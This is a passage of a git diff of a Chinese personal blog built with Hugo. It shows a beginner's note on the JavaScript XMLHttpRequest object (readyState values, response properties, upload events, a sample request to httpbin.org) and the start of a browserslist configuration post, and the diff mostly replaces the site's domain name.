0\rxmlhttp.open(\u0026quot;GET\u0026quot;,\u0026quot;https://httpbin.org/get\u0026quot;,true)\rconsole.log(xmlhttp.readyState) // 1\rxmlhttp.onprogress =function(){\rconsole.log(xmlhttp.readyState) // 3\r}\rxmlhttp.onload = function(){\rconsole.log(xmlhttp.readyState) // 4\r}\rxmlhttp.send();\rXMLHttpReques实例的属性\nXMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：\n状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪\nXMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示\nXMLHttpRequest.response：该属性会返回一个类型，该类型取决于XMLHttpRequest.responseType的值，类型例如：\nDOMString：当XMLHttpRequest.responseType的值为空字符串，那么就是DOMString类型（是一个utf-16字符串，默认）\narraybuffer：XMLHttpRequest.responseType的值为存储二进制数据的ArrayBuffer对象（该对象是用于存储二进制数据，不能直接进行操作，只能通过视图来进行操作）\nBlob：XMLHttpRequest.responseType的值为包含二进制数据的Blob对象（该对象是用于表示一个类似文件的对象，可以通过二进制的方式进行读取）\nDocument：值是一个Document\njson：值是一个JavaScript对象\ntext：值是一个DOMString对象表示的文本（utf-16字符串）\nXMLHttpRequest.responseText：该属性的值是请求被发送到服务端后，从服务端返回的文本，如果值为null，那么就是请求失败，如果为空字符串，那么就是没有send()\nXMLHttpRequest.responseType：该属性会返回一个值，该值和response属性的值一样\nXMLHttpRequest.responseURL：该属性会返回一个序列化url，如果url为空那么就返回空字符串\nXMLHttpRequest.responseXML：该属性返回Document(html/xml)，如果请求没有成功或者获取的数据，无法解析为html或者xml，那么为null\nXMLHttpRequest.status：该属性会返回响应中的http状态码，如果请求没有完成，那么值为0，如果出错也是为0\nXMLHttpRequest.timeout：该属性会返回一个值，该值为请求被自动终止前所消耗的毫秒数（默认为0，则表示没有超时）\nXMLHttpRequest.upload：该属性是用于表示上传的进度，可搭配事件监听器来追踪进度，例如：\nonloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）","keywords":["JavaScript"],"articleBody":"ajax请求是异步的，因此可以通过回调函数来处理响应\n实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的\n初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：\nvar xmlhttp = new XMLHttpRequest()\rxmlhttp.onreadystatechange = function(){\rif(xmlhttp.readyState == 4 \u0026\u0026 xmlhttp.status == 200){\rdocument.getElementById(\"app\").innerHTML = xmlhttp.responseText\r}\r}\rconsole.log(xmlhttp.readyState) // 0\rxmlhttp.open(\"GET\",\"https://httpbin.org/get\",true)\rconsole.log(xmlhttp.readyState) // 1\rxmlhttp.onprogress =function(){\rconsole.log(xmlhttp.readyState) // 3\r}\rxmlhttp.onload = function(){\rconsole.log(xmlhttp.readyState) // 4\r}\rxmlhttp.send();\rXMLHttpReques实例的属性\nXMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：\n状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪\nXMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示\nXMLHttpRequest.response：该属性会返回一个类型，该类型取决于XMLHttpRequest.responseType的值，类型例如：\nDOMString：当XMLHttpRequest.responseType的值为空字符串，那么就是DOMString类型（是一个utf-16字符串，默认）\narraybuffer：XMLHttpRequest.responseType的值为存储二进制数据的ArrayBuffer对象（该对象是用于存储二进制数据，不能直接进行操作，只能通过视图来进行操作）\nBlob：XMLHttpRequest.responseType的值为包含二进制数据的Blob对象（该对象是用于表示一个类似文件的对象，可以通过二进制的方式进行读取）\nDocument：值是一个Document\njson：值是一个JavaScript对象\ntext：值是一个DOMString对象表示的文本（utf-16字符串）\nXMLHttpRequest.responseText：该属性的值是请求被发送到服务端后，从服务端返回的文本，如果值为null，那么就是请求失败，如果为空字符串，那么就是没有send()\nXMLHttpRequest.responseType：该属性会返回一个值，该值和response属性的值一样\nXMLHttpRequest.responseURL：该属性会返回一个序列化url，如果url为空那么就返回空字符串\nXMLHttpRequest.responseXML：该属性返回Document(html/xml)，如果请求没有成功或者获取的数据，无法解析为html或者xml，那么为null\nXMLHttpRequest.status：该属性会返回响应中的http状态码，如果请求没有完成，那么值为0，如果出错也是为0\nXMLHttpRequest.timeout：该属性会返回一个值，该值为请求被自动终止前所消耗的毫秒数（默认为0，则表示没有超时）\nXMLHttpRequest.upload：该属性是用于表示上传的进度，可搭配事件监听器来追踪进度，例如：\nonloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）\nopen()方法\n该方法有3个常用参数，请求方式，请求url，是否异步执行（如果为false，那么JavaScript会等到服务器响应完毕时才会继续执行）\nxmlhttp.open(“GET”,“https://httpbin.org/get\",true)\n","wordCount":"76","inLanguage":"en","datePublished":"2021-06-16T09:25:49Z","dateModified":"2021-06-16T09:25:49Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/14/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>JavaScript-XMLHttpRequest对象笔记</h1><div class=post-meta><span title='2021-06-16 09:25:49 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/JavaScript-XMLHttpRequest%e5%af%b9%e8%b1%a1%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>ajax请求是异步的，因此可以通过回调函数来处理响应</p><p>实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的</p><p>初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：</p><pre><code>var xmlhttp = new XMLHttpRequest()
-xmlhttp.onreadystatechange = function(){
-    if(xmlhttp.readyState == 4 &amp;&amp; xmlhttp.status == 200){
-        document.getElementById(&quot;app&quot;).innerHTML = xmlhttp.responseText
-    }
-}
-console.log(xmlhttp.readyState) // 0
-xmlhttp.open(&quot;GET&quot;,&quot;https://httpbin.org/get&quot;,true)
-console.log(xmlhttp.readyState) // 1
-xmlhttp.onprogress =function(){
-    console.log(xmlhttp.readyState) // 3
-}
-xmlhttp.onload = function(){
-    console.log(xmlhttp.readyState) // 4
-}
-xmlhttp.send();
+onloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"JavaScript-XMLHttpRequest对象笔记","item":"https://chenjunlinabc.github.io/posts/14/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"JavaScript-XMLHttpRequest对象笔记","name":"JavaScript-XMLHttpRequest对象笔记","description":"ajax请求是异步的，因此可以通过回调函数来处理响应\n实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的\n初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：\nvar xmlhttp = new XMLHttpRequest() xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 \u0026amp;\u0026amp; xmlhttp.status == 200){ document.getElementById(\u0026quot;app\u0026quot;).innerHTML = xmlhttp.responseText } } console.log(xmlhttp.readyState) // 0 xmlhttp.open(\u0026quot;GET\u0026quot;,\u0026quot;https://httpbin.org/get\u0026quot;,true) console.log(xmlhttp.readyState) // 1 xmlhttp.onprogress =function(){ console.log(xmlhttp.readyState) // 3 } xmlhttp.onload = function(){ console.log(xmlhttp.readyState) // 4 } xmlhttp.send(); XMLHttpReques实例的属性\nXMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：\n状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪\nXMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示\nXMLHttpRequest.response：该属性会返回一个类型，该类型取决于XMLHttpRequest.responseType的值，类型例如：\nDOMString：当XMLHttpRequest.responseType的值为空字符串，那么就是DOMString类型（是一个utf-16字符串，默认）\narraybuffer：XMLHttpRequest.responseType的值为存储二进制数据的ArrayBuffer对象（该对象是用于存储二进制数据，不能直接进行操作，只能通过视图来进行操作）\nBlob：XMLHttpRequest.responseType的值为包含二进制数据的Blob对象（该对象是用于表示一个类似文件的对象，可以通过二进制的方式进行读取）\nDocument：值是一个Document\njson：值是一个JavaScript对象\ntext：值是一个DOMString对象表示的文本（utf-16字符串）\nXMLHttpRequest.responseText：该属性的值是请求被发送到服务端后，从服务端返回的文本，如果值为null，那么就是请求失败，如果为空字符串，那么就是没有send()\nXMLHttpRequest.responseType：该属性会返回一个值，该值和response属性的值一样\nXMLHttpRequest.responseURL：该属性会返回一个序列化url，如果url为空那么就返回空字符串\nXMLHttpRequest.responseXML：该属性返回Document(html/xml)，如果请求没有成功或者获取的数据，无法解析为html或者xml，那么为null\nXMLHttpRequest.status：该属性会返回响应中的http状态码，如果请求没有完成，那么值为0，如果出错也是为0\nXMLHttpRequest.timeout：该属性会返回一个值，该值为请求被自动终止前所消耗的毫秒数（默认为0，则表示没有超时）\nXMLHttpRequest.upload：该属性是用于表示上传的进度，可搭配事件监听器来追踪进度，例如：\nonloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）","keywords":["JavaScript"],"articleBody":"ajax请求是异步的，因此可以通过回调函数来处理响应\n实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的\n初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：\nvar xmlhttp = new XMLHttpRequest() xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4 \u0026\u0026 xmlhttp.status == 200){ document.getElementById(\"app\").innerHTML = xmlhttp.responseText } } console.log(xmlhttp.readyState) // 0 xmlhttp.open(\"GET\",\"https://httpbin.org/get\",true) console.log(xmlhttp.readyState) // 1 xmlhttp.onprogress =function(){ console.log(xmlhttp.readyState) // 3 } xmlhttp.onload = function(){ console.log(xmlhttp.readyState) // 4 } xmlhttp.send(); XMLHttpReques实例的属性\nXMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：\n状态0：已被实例化，但是未调用open()方法 状态1：open()方法已被调用（连接） 状态2：send()方法已被调用（请求） 状态3：请求处理中 状态4：请求完毕，且响应已就绪\nXMLHttpReques.onreadystatechange：该属性对应了一个回调函数，当XMLHttpRequest.readyState属性发生改变时，该回调函数就会被调用，例子如上面所示\nXMLHttpRequest.response：该属性会返回一个类型，该类型取决于XMLHttpRequest.responseType的值，类型例如：\nDOMString：当XMLHttpRequest.responseType的值为空字符串，那么就是DOMString类型（是一个utf-16字符串，默认）\narraybuffer：XMLHttpRequest.responseType的值为存储二进制数据的ArrayBuffer对象（该对象是用于存储二进制数据，不能直接进行操作，只能通过视图来进行操作）\nBlob：XMLHttpRequest.responseType的值为包含二进制数据的Blob对象（该对象是用于表示一个类似文件的对象，可以通过二进制的方式进行读取）\nDocument：值是一个Document\njson：值是一个JavaScript对象\ntext：值是一个DOMString对象表示的文本（utf-16字符串）\nXMLHttpRequest.responseText：该属性的值是请求被发送到服务端后，从服务端返回的文本，如果值为null，那么就是请求失败，如果为空字符串，那么就是没有send()\nXMLHttpRequest.responseType：该属性会返回一个值，该值和response属性的值一样\nXMLHttpRequest.responseURL：该属性会返回一个序列化url，如果url为空那么就返回空字符串\nXMLHttpRequest.responseXML：该属性返回Document(html/xml)，如果请求没有成功或者获取的数据，无法解析为html或者xml，那么为null\nXMLHttpRequest.status：该属性会返回响应中的http状态码，如果请求没有完成，那么值为0，如果出错也是为0\nXMLHttpRequest.timeout：该属性会返回一个值，该值为请求被自动终止前所消耗的毫秒数（默认为0，则表示没有超时）\nXMLHttpRequest.upload：该属性是用于表示上传的进度，可搭配事件监听器来追踪进度，例如：\nonloadstart：开始获取数据 onprogress：数据正在传输中 onabort：数据获取终止 onerror：数据获取失败 onload：数据获取成功 ontimeout：数据获取操作在规定的时间内未完成 onloadend：数据获取完成（不管是否成功）\nopen()方法\n该方法有3个常用参数，请求方式，请求url，是否异步执行（如果为false，那么JavaScript会等到服务器响应完毕时才会继续执行）\nxmlhttp.open(“GET”,“https://httpbin.org/get\",true)\n","wordCount":"76","inLanguage":"en","datePublished":"2021-06-16T09:25:49Z","dateModified":"2021-06-16T09:25:49Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/14/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>JavaScript-XMLHttpRequest对象笔记</h1><div class=post-meta><span title='2021-06-16 09:25:49 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/JavaScript-XMLHttpRequest%e5%af%b9%e8%b1%a1%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>ajax请求是异步的，因此可以通过回调函数来处理响应</p><p>实现ajax请求大多是使用XMLHttpRequest对象，该对象用于与服务器交互，可以在不刷新页面的情况下请求url，获取数据，从而达到更新页面内容的目的</p><p>初始化XMLHttpRequest()构造函数，可以获得一个XMLHttpReques实例，例如：</p><pre><code>var xmlhttp = new XMLHttpRequest()
+xmlhttp.onreadystatechange = function(){
+    if(xmlhttp.readyState == 4 &amp;&amp; xmlhttp.status == 200){
+        document.getElementById(&quot;app&quot;).innerHTML = xmlhttp.responseText
+    }
+}
+console.log(xmlhttp.readyState) // 0
+xmlhttp.open(&quot;GET&quot;,&quot;https://httpbin.org/get&quot;,true)
+console.log(xmlhttp.readyState) // 1
+xmlhttp.onprogress =function(){
+    console.log(xmlhttp.readyState) // 3
+}
+xmlhttp.onload = function(){
+    console.log(xmlhttp.readyState) // 4
+}
+xmlhttp.send();
 </code></pre><p>XMLHttpReques实例的属性</p><p>XMLHttpRequest.readyState：该属性会返回一个XMLHttpRequest的状态，状态有5种，例如：</p><p>状态0：已被实例化，但是未调用open()方法
 状态1：open()方法已被调用（连接）
 状态2：send()方法已被调用（请求）
@@ -88,8 +88,8 @@
 onerror：数据获取失败
 onload：数据获取成功
 ontimeout：数据获取操作在规定的时间内未完成
-onloadend：数据获取完成（不管是否成功）</p><hr><p>open()方法</p><p>该方法有3个常用参数，请求方式，请求url，是否异步执行（如果为false，那么JavaScript会等到服务器响应完毕时才会继续执行）</p><p>xmlhttp.open(&ldquo;GET&rdquo;,&ldquo;<a href=https://httpbin.org/get%22,true>https://httpbin.org/get",true</a>)</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/javascript/>JavaScript</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/15/><span class=title>« Prev</span><br><span>简单理解区块链的基本原理</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/13/><span class=title>Next »</span><br><span>jQuery-ajax()方法笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+onloadend：数据获取完成（不管是否成功）</p><hr><p>open()方法</p><p>该方法有3个常用参数，请求方式，请求url，是否异步执行（如果为false，那么JavaScript会等到服务器响应完毕时才会继续执行）</p><p>xmlhttp.open(&ldquo;GET&rdquo;,&ldquo;<a href=https://httpbin.org/get%22,true>https://httpbin.org/get",true</a>)</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/javascript/>JavaScript</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/15/><span class=title>« Prev</span><br><span>简单理解区块链的基本原理</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/13/><span class=title>Next »</span><br><span>jQuery-ajax()方法笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/140/index.html b/posts/140/index.html
index 2288a64d..e398f410 100644
--- a/posts/140/index.html
+++ b/posts/140/index.html
@@ -12,10 +12,10 @@
 and就是和，or是或者
 browserslist的配置
 package.json（browserslist官方推荐用这个）
-&#34;browserslist&#34;: [
'> 0.2%',
'last 1 Chrome versions'
'not dead'
]
或者写成
-&#34;browserslist&#34;: [
'> 0.2% and last 1 Chrome versions and not dead',
]
.browserslistrc
-> 0.2% and last 1 Chrome versions and not dead
browserslist数据的优先级：当前项目的package."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/140/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="browserslist的简单配置"><meta property="og:description" content="browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
+&#34;browserslist&#34;: [ '> 0.2%', 'last 1 Chrome versions' 'not dead' ] 或者写成
+&#34;browserslist&#34;: [ '> 0.2% and last 1 Chrome versions and not dead', ] .browserslistrc
+> 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级：当前项目的package."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/140/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" 